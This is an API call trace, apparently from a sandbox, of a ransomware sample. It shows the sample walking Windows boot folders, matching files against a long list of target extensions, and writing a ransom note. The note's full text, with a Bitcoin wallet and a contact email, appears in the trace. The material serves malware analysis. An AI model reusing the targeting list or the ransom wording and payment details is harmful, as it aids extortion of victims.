(pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.357] lstrlenA (lpString="*.qbb") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.357] lstrlenA (lpString="*.qbm") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.357] lstrlenA (lpString="*.qbo") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.357] lstrlenA (lpString="*.qbx") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.357] lstrlenA (lpString="*.qba") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.357] lstrlenA (lpString="*.qby") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.357] lstrlenA (lpString="*.qbj") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.357] lstrlenA (lpString="*.ofx") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.357] lstrlenA (lpString="*.qif") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.357] lstrlenA (lpString="*.mye") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.357] lstrlenA (lpString="*.mbox") returned 6 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.357] lstrlenA (lpString="*.eml") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.357] lstrlenA (lpString="*.pst") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.357] lstrlenA (lpString="*.ost") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.357] lstrlenA (lpString="*.idx") returned 5 [0057.357] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.357] lstrlenA (lpString="*.dbx") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.358] lstrlenA (lpString="*.sql") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.358] lstrlenA (lpString="*.mdb") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.358] lstrlenA (lpString="*.fdb") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.358] lstrlenA (lpString="*.wab") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.358] lstrlenA (lpString="*.dat") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.358] lstrlenA (lpString="*.txt") returned 5 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.358] lstrlenA (lpString="*.jpeg") returned 6 [0057.358] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.358] lstrlenA (lpString="*.jpg") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.359] lstrlenA (lpString="*.png") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.359] lstrlenA (lpString="*.php") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.359] lstrlenA (lpString="*.cs") returned 4 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.359] lstrlenA (lpString="*.cpp") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.359] lstrlenA (lpString="*.rar") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.359] lstrlenA (lpString="*.zip") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.359] lstrlenA (lpString="*.html") returned 6 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.359] lstrlenA (lpString="*.htm") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.359] lstrlenA (lpString="*.xlsx") returned 6 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.359] lstrlenA (lpString="*.xls") returned 5 [0057.359] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.360] lstrlenA (lpString="*.mp4") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.360] lstrlenA (lpString="*.ppt") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.360] lstrlenA (lpString="*.pptx") returned 6 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.360] lstrlenA (lpString="*.doc") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.360] lstrlenA (lpString="*.dot") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.360] lstrlenA (lpString="*.docx") returned 6 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.360] lstrlenA (lpString="*.7z") returned 4 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.360] lstrlenA (lpString="*.tar") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.360] lstrlenA (lpString="*.bz2") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.360] lstrlenA (lpString="*.gz") returned 4 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.360] lstrlenA (lpString="*.mkv") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.360] lstrlenA (lpString="*.eml") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.360] lstrlenA (lpString="*.msg") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.360] lstrlenA (lpString="*.edb") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.360] lstrlenA (lpString="*.accdb") returned 7 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.360] lstrlenA (lpString="*.odb") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.360] lstrlenA (lpString="*.java") returned 6 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.360] lstrlenA (lpString="*.asm") returned 5 [0057.360] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.361] lstrlenA (lpString="*.pfx") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.361] lstrlenA (lpString="*.pem") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.361] lstrlenA (lpString="*.p12") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.361] lstrlenA (lpString="*.gpg") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.361] lstrlenA (lpString="*.vsd") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.361] lstrlenA (lpString="*.odg") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.361] lstrlenA (lpString="*.raw") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.361] lstrlenA (lpString="*.nef") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.361] lstrlenA (lpString="*.svg") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.361] lstrlenA (lpString="*.psd") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.361] lstrlenA (lpString="*.vmx") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.361] lstrlenA (lpString="*.vmdk") returned 6 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.361] lstrlenA (lpString="*.vdi") returned 5 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.361] lstrlenA (lpString="*.lay6") returned 6 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.361] lstrlenA (lpString="*.mpeg") returned 6 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.361] lstrlenA (lpString="*.djvu") returned 6 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.361] lstrlenA (lpString="*.tiff") returned 6 [0057.361] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.361] lstrlenA (lpString="*.backup") returned 8 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.362] lstrlenA (lpString="*.pdf") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.362] lstrlenA (lpString="*.cert") returned 6 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.362] lstrlenA (lpString="*.docm") returned 6 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.362] lstrlenA (lpString="*.xlsm") returned 6 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.362] lstrlenA (lpString="*.dwg") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.362] lstrlenA (lpString="*.nd") returned 4 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.362] lstrlenA (lpString="*.tlg") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.362] lstrlenA (lpString="*.lgb") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.362] lstrlenA (lpString="*.mov") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.362] lstrlenA (lpString="*.xdw") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.362] lstrlenA (lpString="*.ods") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.362] lstrlenA (lpString="*.wav") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.362] lstrlenA (lpString="*.mp3") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.362] lstrlenA (lpString="*.aiff") returned 6 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.362] lstrlenA (lpString="*.flac") returned 6 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.362] lstrlenA (lpString="*.m4a") returned 5 [0057.362] PathMatchSpecA (pszFile="C:\\Boot\\nl-NL\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.362] lstrlenA (lpString="*.csv") returned 5 [0057.362] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.363] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.363] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0057.363] lstrcmpA (lpString1=".", lpString2="pl-PL") returned -1 [0057.363] lstrcmpA (lpString1="..", lpString2="pl-PL") returned -1 [0057.363] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.363] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0057.363] lstrlenA (lpString="C:\\Boot\\pl-PL") returned 13 [0057.363] FindFirstFileA (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.363] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.363] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.363] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.363] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.363] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.363] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.363] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.363] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.363] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.363] PathFindFileNameA (pszPath="C:\\Boot\\pl-PL\\*.*") returned="*.*" [0057.363] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\pl-PL\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0057.363] PathAddBackslashA (in: pszPath="C:\\Boot\\pl-PL\\" | out: pszPath="C:\\Boot\\pl-PL\\") returned="" [0057.364] lstrcatA (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\pl-PL\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\pl-PL\\HOW TO DECRYPT FILES.txt" [0057.364] GetFileAttributesA (lpFileName="C:\\Boot\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pl-pl\\how to decrypt files.txt")) returned 0xffffffff [0057.364] CreateFileA (lpFileName="C:\\Boot\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pl-pl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.364] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.364] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.365] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.365] CloseHandle (hObject=0x84) returned 1 [0057.366] lstrcatA (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="C:\\Boot\\pl-PL\\bootmgr.exe.mui" [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.366] lstrlenA (lpString="*.ems") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.366] lstrlenA (lpString="*.db") returned 4 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.366] lstrlenA (lpString="*.dbf") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.366] lstrlenA (lpString="*.myox") returned 6 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.366] lstrlenA (lpString="*.myo") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.366] lstrlenA (lpString="*.qbw") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.366] lstrlenA (lpString="*.qbb") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.366] lstrlenA (lpString="*.qbm") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.366] lstrlenA (lpString="*.qbo") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.366] lstrlenA (lpString="*.qbx") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.366] lstrlenA (lpString="*.qba") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.366] lstrlenA (lpString="*.qby") returned 5 [0057.366] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.366] lstrlenA (lpString="*.qbj") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.367] lstrlenA (lpString="*.ofx") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.367] lstrlenA (lpString="*.qif") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.367] lstrlenA (lpString="*.mye") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.367] lstrlenA (lpString="*.mbox") returned 6 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.367] lstrlenA (lpString="*.eml") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.367] lstrlenA (lpString="*.pst") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.367] lstrlenA (lpString="*.ost") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.367] lstrlenA (lpString="*.idx") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.367] lstrlenA (lpString="*.dbx") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.367] lstrlenA (lpString="*.sql") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.367] lstrlenA (lpString="*.mdb") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.367] lstrlenA (lpString="*.fdb") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.367] lstrlenA (lpString="*.wab") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.367] lstrlenA (lpString="*.dat") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.367] lstrlenA (lpString="*.txt") returned 5 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.367] lstrlenA (lpString="*.jpeg") returned 6 [0057.367] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.368] lstrlenA (lpString="*.jpg") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.368] lstrlenA (lpString="*.png") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.368] lstrlenA (lpString="*.php") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.368] lstrlenA (lpString="*.cs") returned 4 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.368] lstrlenA (lpString="*.cpp") returned 5 [0057.368] PathMatchSpecA (pszFile="C:\\Boot\\pl-PL\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.368] lstrlenA (lpString="*.rar") returned 5 [0057.368] 